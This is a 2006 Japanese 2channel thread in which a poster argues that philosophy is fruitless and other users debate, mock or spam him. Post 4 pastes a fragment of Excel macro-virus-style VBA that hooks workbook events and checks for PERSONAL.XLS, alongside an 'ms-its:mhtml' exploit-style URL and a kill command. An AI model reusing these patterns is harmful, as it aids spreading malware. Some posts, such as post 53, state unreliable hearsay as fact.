16歳ニートですが哲学は不毛だと思う Part4

1 ：番組の途中ですが名無しです：2006/07/27(木) 01:35:45 ID:2UpEx8Z20 BE:496597897-BRZ

大好評につき４スレ目です

2 ：紫電改：2006/07/27(木) 01:36:06 ID:U9v417Uh0

ぱーと

3 ：番組の途中ですが名無しです：2006/07/27(木) 01:37:54 ID:2UpEx8Z20 BE:315300285-BRZ

哲学が論理の学問、普遍的な学問、不毛じゃない学問　という主張にはこの2行で反証できる
・全ての事物は人間の脳で起きているので、人間の脳を解析しなければ真理にはたどり着かない
・人間の脳を解析するのも人間の脳に依存するので、収束が付かず真理にはたどり付けない
哲学が論理の学問だと、何も結論を出せないから、仕方なく実感に基づいて結論付けているのが哲学の現状である
その典型例が永劫回帰

4 ：サザンクロス：2006/07/27(木) 01:38:29 ID:/stffTAjO

lines(n)=
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

5 ：改憲論者：2006/07/27(木) 01:38:48 ID:VpTI5j2I0

VIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIP
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VIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIP
VIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIP
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VIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIP

6 ：番組の途中ですが名無しです：2006/07/27(木) 01:38:52 ID:Ubib+e4p0

プロバイダどこだよ

7 ：けしごむ：2006/07/27(木) 01:39:52 ID:kFgHdvar0

つまり、人生は不毛か。

8 ：番組の途中ですが名無しです：2006/07/27(木) 01:41:17 ID:2UpEx8Z20 BE:315300285-BRZ

もし仮に論理的な哲学的結論があるなら、この2行で反論できる
・全ての事物は人間の脳で起きているので、人間の脳を解析しなければ真理にはたどり付けない
・人間の脳を解析するのも人間の脳に依存するので、収束が付かず真理にはたどり付けない

哲学は論理ではなく実感の学問である
なぜなら論理を採用してしまうと、思考の無価値性を露見させるだけだからである
なので仕方なく（欺瞞的にも）実感を採用しているのである

9 ：求職活動中：2006/07/27(木) 01:42:15 ID:YyEXNpZ80

26歳ニートですが押尾学はホモだと思う

10 ：法案成立：2006/07/27(木) 01:42:29 ID:8xC6H7MV0

てか歴史上の偉人、富豪とかみんな哲学者じゃん。

11 ：番組の途中ですが名無しです：2006/07/27(木) 01:42:46 ID:2UpEx8Z20 BE:189181038-BRZ

>>9
女の子とハワイいってたじゃん

12 ：自治厨：2006/07/27(木) 01:43:52 ID:ODPP4EOm0 BE:152091078-BRZ

結局2次元だけで生き抜くための理論武装として
哲学が必要って事だろ？3次元を相手にしないでも良い理由を
またはクローニングで任意の美女をバンクから複製可能にする

13 ：番組の途中ですが名無しです：2006/07/27(木) 01:44:07 ID:2UpEx8Z20 BE:197063055-BRZ

俺の圧倒的勝利だなｗワロタｗ

14 ：地震だー：2006/07/27(木) 01:46:22 ID:RCSA1qfwO

>>13
そうそうお前の勝ちだよ。良かったな。
VIPの方が馬鹿が多いからもっと優越感を感じれるよ。
だからVIPいったら？

15 ：番組の途中ですが名無しです：2006/07/27(木) 01:47:19 ID:2UpEx8Z20 BE:496598279-BRZ

哲学は実感の学問である
これは多くの哲学者が言及している
哲学は研究対象の範囲によって、厳密に論理に拘ると思考の無価値性が露見されてしまうので、仕方なく実感に基づいている、というのが現実である
哲学的結論は真理でもなく、普遍性もない、各人に依存する「実感」に訴えかける学問である
言うならば芸術じゃないか

16 ：番組の途中ですが名無しです：2006/07/27(木) 01:48:25 ID:2UpEx8Z20 BE:141885263-BRZ

>>15は日本語が変になったな

17 ：キティホーク：2006/07/27(木) 01:50:01 ID:dg5bw9W80

前スレ>>155
論理だろう。
芸術や宗教じゃないんだから。
少なくとも実感（なんだこれ？哲学用語じゃないぞ）ではない。
論理には限界があるがそのわかるところまでギリギリにつめていく作業、
これが哲学だ。答えはない。そこで停滞する。
でも、答えがないから実感に依るしかないとかはお前の想像。
感情に訴えて理解を促す？斜め下に飛躍しすぎ。

あと＞あと哲学が実感を根拠しているという見解をしている多くの哲学者に関してはどう思う？
どう思うじゃねえよ。ソースだせよ。
今日はもう読めないかもしれないが。

18 ：今北産業：2006/07/27(木) 01:52:15 ID:9JsV92cx0

19 ：法案成立：2006/07/27(木) 01:54:21 ID:8xC6H7MV0

哲学を哲学しても意味無い。
哲学で何が出来るか、何が出来たかを語るべきだ。

20 ：皮：2006/07/27(木) 01:56:36 ID:GntY4ZTG0

哲学の歴史は直感や実感なんて信用ならないってことを
証明する歴史でもあるわけだが。　というか>>1完全にキチガイだな。

VIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIP
VIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIP
VIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIPでやれVIP
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21 ：番組の途中ですが名無しです：2006/07/27(木) 01:57:23 ID:2UpEx8Z20 BE:63060342-BRZ

>>17
もし仮に論理的な哲学的結論があるなら、この2行で反論できる
・全ての事物は人間の脳で起きているので、人間の脳を解析しなければ真理にはたどり付けない
・人間の脳を解析するのも人間の脳に依存するので、収束が付かず真理にはたどり付けない

具体的に厳密に論理的な哲学的結論とやらを知りたいね
いくら論理的であっても不完全性定理や上記の2行によって「それは真理ではない」と反証できるので、
厳密に論理を拘っているわけではない
では何を根拠に「正しい」といっているのか
それは「実感」である
哲学とは厳密に論理的ではなく（厳密に論理的なら決して真理にたどり着けないため）、
各人の「実感」に訴えかけているのである
たとえば、永劫回帰
永劫回帰は上記の2行で「それは真理ではない」と反証できる
しかし、哲学者・ニーチェは永劫回帰は正しいと思った
では、何を根拠に正しいと思ったのか？それは「実感」である
ニーチェは実感して発狂したのである

22 ：番組の途中ですが名無しです：2006/07/27(木) 02:00:35 ID:2UpEx8Z20 BE:378360768-BRZ

もし仮に哲学が厳密に論理に拘っているのなら不完全性定理で全て片付いてしまうからね
そもそも人間が真理を知ろうなんて不可能だって事だね

23 ：カティーサーク：2006/07/27(木) 02:02:27 ID:/eZgmr9S0

>>21
複数の人間の脳で、個人の脳を解析すれば収束するんじゃね？

24 ：番組の途中ですが名無しです：2006/07/27(木) 02:03:37 ID:2UpEx8Z20 BE:275887875-BRZ

>>23
結局は、「複数の人間」とやらも「自分」が認識してるだけだから無意味
すべて脳内の話だ

25 ：みそ：2006/07/27(木) 02:03:50 ID:GntY4ZTG0

誰かBE焼け

26 ：番組の途中ですが名無しです：2006/07/27(木) 02:04:34 ID:Ubib+e4p0

>>25
相手にするなよ
埋め立ても過疎ったから止めたんだろ

27 ：ハッタリ：2006/07/27(木) 02:05:26 ID:4hCY0rMB0 BE:671458199-BRZ

朝起きたらめっちゃ犯されてました

28 ：番組の途中ですが名無しです：2006/07/27(木) 02:05:27 ID:2UpEx8Z20 BE:94590634-BRZ

自分が存在してる宇宙（3次元空間）も所詮は脳が認識しているだけで
本当にそうかは分からない
宇宙が存在しているかも分からないし、西村博之が実在しているかも分からない
結局は脳内の話だ

無論、この理屈だって脳内で起こっているわけで真理とは言えない

29 ：カティーサーク：2006/07/27(木) 02:05:31 ID:/eZgmr9S0

>>24
自分が認識していれば十分じゃない？

30 ：韓国：2006/07/27(木) 02:06:46 ID:tuLM700d0

さくっとお願いします

31 ：番組の途中ですが名無しです：2006/07/27(木) 02:07:50 ID:2UpEx8Z20 BE:386243077-BRZ

>>29
では「自分とは何か」を知らないと「真理」にはたどり着かないね
「自分」を通して全てを認識してるんだから
でも「自分とは何か」を考えているのも「自分」であって、
いかなる結論も所詮は「自分」によって導かれたに過ぎないから収束できない。

32 ：思春期：2006/07/27(木) 02:07:55 ID:smQVyUoT0

「お前は他人だから、お前は間違っている」
「お前こそ他人だから、お前は間違っている」
「俺こそ正しい！」
「それだったら俺こそ正しい！」
「じゃあ俺が正しいんだよ！」
「どうぞどうぞ」
「

33 ：カティーサーク：2006/07/27(木) 02:09:18 ID:/eZgmr9S0

>>31
自分を知らなくて他人の脳をしればいいんじゃね？

34 ：番組の途中ですが名無しです：2006/07/27(木) 02:10:00 ID:2UpEx8Z20 BE:496597897-BRZ

>>33
でも「クオリア」と「自分」っていうのは一心同体なんだよね

35 ：番組の途中ですが名無しです：2006/07/27(木) 02:10:27 ID:gJ/95DhW0

いい加減焼き殺せよコイツ

36 ：ニュー速最後の良心 ◆SKiRSXOmB6 ：2006/07/27(木) 02:10:57 ID:IoAK4idB0 BE:128971875-2BP

自己主張のPartスレがニュー速で認められるなんてニュー速も変わったなぁ

37 ：番組の途中ですが名無しです：2006/07/27(木) 02:11:06 ID:kf7b1N+C0 BE:102114094-BRZ

藤藁臭い

38 ：番組の途中ですが名無しです：2006/07/27(木) 02:11:30 ID:mBv3ZeMv0 BE:88447436-BRZ

語りえないことについては人は沈黙せねばならない

39 ：記者会見：2006/07/27(木) 02:12:03 ID:/stffTAjO

ひろゆきさくっと行け

40 ：カティーサーク：2006/07/27(木) 02:12:18 ID:/eZgmr9S0

>>34
クオリアってなに？

41 ：番組の途中ですが名無しです：2006/07/27(木) 02:12:18 ID:2UpEx8Z20 BE:94590162-BRZ

厳密に論理的になると思考なんて無価値だと思うけど
俺は「なんとなく」で生きてるから、どうでもいいやっていうのが本音
哲学だって「なんとなく」の学問なんだよ
厳密に論理的になると思考の無価値性が露見されるだけだから
「なんとなく」の「実感」に基づいている、というのが哲学の現実
「哲学は論理的だ」というのは理想論に過ぎない

42 ：終了のお知らせ：2006/07/27(木) 02:13:03 ID:HhaUqBJg0

43 ：番組の途中ですが名無しです：2006/07/27(木) 02:13:28 ID:2UpEx8Z20 BE:275887875-BRZ

>>40
ぐぐれ

44 ：番組の途中ですが名無しです：2006/07/27(木) 02:13:55 ID:Ubib+e4p0

Be削れといえば言うほど削らないのがひろゆき
お前ら自分のしてる事に気づけ
放置が一番効くんだって

45 ：みそ：2006/07/27(木) 02:14:13 ID:GntY4ZTG0

46 ：カティーサーク：2006/07/27(木) 02:14:28 ID:/eZgmr9S0

>43
しらないのに使っていたの？

それじゃあ反論したことにならないよ？

47 ：番組の途中ですが名無しです：2006/07/27(木) 02:14:42 ID:2UpEx8Z20 BE:567540689-BRZ

俺様の圧倒的勝利だなｗ
雑魚を論破するのは楽しいなｗ

48 ：番組の途中ですが名無しです：2006/07/27(木) 02:15:19 ID:2UpEx8Z20 BE:441420678-BRZ

>>46
何かを感じる何か
とでも言おうか

49 ：VIPPER：2006/07/27(木) 02:15:31 ID:zUFgffg70

VIPでやれ

50 ：巫女：2006/07/27(木) 02:16:29 ID:cPzF6V8y0

大多数の人間がスルーしていくことについて、不思議、不具合を感じたなら
それはもう哲学ですよ。哲学には正解も不正解もないので、好きなだけ自分流にアレンジ
して自己啓発に使えばよろし

51 ：カティーサーク：2006/07/27(木) 02:17:16 ID:/eZgmr9S0

>>48
それが他人の脳を解析することとなにか関係あるの？

52 ：ググレカス：2006/07/27(木) 02:18:58 ID:HWWpU/VE0

遊んでるだけだと思うが色んな価値観を知ることは無駄ではないと思うよ
ただ生きるだけなら不要かもしれないけどね
哲学を許さない一神教の国に生まれたかったかい？

53 ：番組の途中ですが名無しです：2006/07/27(木) 02:19:11 ID:2UpEx8Z20 BE:496597897-BRZ

和田秀樹の本買おうとしたが
和田が書いたユダヤ人関連の本で「ビル・ゲイツはユダヤ人」と記述されていたらしく、
和田はしょぼい人間だと認識したよｗ
ビル・ゲイツはユダヤ人ではなくスコットランド人、
チャップリンはユダヤ人ではなくアイルランド人とロマの混血、
ヒトラーはユダヤ人ではなくドイツ人
これくらい常識だろうに

54 ：ネット弁慶：2006/07/27(木) 02:19:33 ID:1Na2g/ke0

ポパーの哲学をどう評価しますか？
やはり、実感ですか。

55 ：番組の途中ですが名無しです：2006/07/27(木) 02:20:31 ID:2UpEx8Z20 BE:157650645-BRZ

>>51
「知る」という事はクオリアなしには有り得なく
クオリアと自分は一体であるから
自分を通さなければ「知る」ことはできない

と俺は思う

56 ：さよ：2006/07/27(木) 02:21:17 ID:HoX+L8OX0

>>54

ポパーはこれからも、分野関係なく、幅ひろく読まれる人だろうな。
文章わかりやすいし。

57 ：番組の途中ですが名無しです：2006/07/27(木) 02:21:21 ID:2UpEx8Z20 BE:378360768-BRZ

>>54
科学哲学は純粋な哲学だとは思っていない

58 ：番組の途中ですが名無しです：2006/07/27(木) 02:22:28 ID:HRZrMKUB0

哲学を否定するのに哲学の戦法を使うのはありなのか?

59 ：番組の途中ですが名無しです：2006/07/27(木) 02:23:03 ID:2UpEx8Z20 BE:354712695-BRZ

言語哲学とか法哲学とか科学哲学
とか名前が悪い
言語基礎学・法基礎学・科学基礎学に改名してくれないか
一般に「哲学」は色んな意味で使われすぎる
「イチローは哲学者だ」とも言うし
どうにかならんか

60 ：カティーサーク：2006/07/27(木) 02:24:21 ID:/eZgmr9S0

>>55
他人の脳を解析すれば、自分の脳がわかるんじゃね？
あるいは自分の脳を解析してもらって、その情報を貰えばいいんじゃね？

61 ：番組の途中ですが名無しです：2006/07/27(木) 02:25:33 ID:2UpEx8Z20 BE:141886229-BRZ

>>60
他人の脳と自分の脳が同一だという根拠がない

62 ：私は差別が嫌いだ：2006/07/27(木) 02:27:02 ID:77RRHkrx0

>>1
まだ寝なくて大丈夫なんですか？ニートでも睡眠時間はちゃんと取れよ

63 ：番組の途中ですが名無しです：2006/07/27(木) 02:28:47 ID:2UpEx8Z20 BE:31530522-BRZ

>>62
昼夜逆転しています
睡眠は最低6時間してます

64 ：カティーサーク：2006/07/27(木) 02:29:17 ID:/eZgmr9S0

>>61
同一ではないという根拠もなくない？
自分だけ特別だと考える根拠が無い。

65 ：ピザ：2006/07/27(木) 02:29:37 ID:V3clgtJFO

不毛な事なしに人間を秩序あるものに収束させる事は不可能ですよ

66 ：空気嫁：2006/07/27(木) 02:29:44 ID:64COHvT90

>>35
gJ/95DhW0
ストーカーキモイ

67 ：番組の途中ですが名無しです：2006/07/27(木) 02:30:41 ID:2UpEx8Z20 BE:189181038-BRZ

池谷裕二によると、睡眠のときに記憶が生理整頓されるから、6時間以上睡眠するべき　とのこと

68 ：orz：2006/07/27(木) 02:31:05 ID:ow9qig8l0

69 ：番組の途中ですが名無しです：2006/07/27(木) 02:31:50 ID:2UpEx8Z20 BE:118237853-BRZ

>>64
「同一ではない」という意見は真理ではないし
「同一である」という意見も真理ではない
>>65
うん

70 ：番組の途中ですが名無しです：2006/07/27(木) 02:32:40 ID:XWlG3eV20

71 ：番組の途中ですが名無しです：2006/07/27(木) 02:32:42 ID:2UpEx8Z20 BE:212827493-BRZ

そろそろぷよぷよしてくるか

72 ：番組の途中ですが名無しです：2006/07/27(木) 02:32:57 ID:z9aCFl1X0

73 ：みそ：2006/07/27(木) 02:33:10 ID:GntY4ZTG0

74 ：番組の途中ですが名無しです：2006/07/27(木) 02:33:30 ID:ezknq90t0

75 ：カティーサーク：2006/07/27(木) 02:33:52 ID:/eZgmr9S0

>>69
背反するなら一方が真理でなければ、もう一方が真理なんじゃない？

76 ：番組の途中ですが名無しです：2006/07/27(木) 02:35:01 ID:I/Lxv00T0

>>73
あげんな

77 ：よーしパパ：2006/07/27(木) 02:52:22 ID:NsTXm+u+0

>>54です。

>>56
自分もそう思います。

>>57
了解しました。

名前の欄に何も書き込まなかったのに、
なぜか「ネット弁慶」となっていた。なぜだろう？
書き込み後、フリーズした。
不気味なので、もう寝ます。

78 ：番組の途中ですが名無しです：2006/07/27(木) 02:58:36 ID:dCMMgArx0

>>1のポイントが激増してますね
三度目くるのかな？

79 ：韓国：2006/07/27(木) 02:58:53 ID:Z0I/2aSm0

哲学が人類にどういう形で役立つのか不明
平均寿命が上がるのか？食料の生産効率が上がるのか？

80 ：番組の途中ですが名無しです：2006/07/27(木) 03:05:14 ID:/VwDaz6E0

ヒント1：ゲーテルは何を殺したか
ヒント2："言語の誤解"
まあ，wikipediaくらいの理解だと>>1みたいな結論が出てくるのは自然な事だと思う。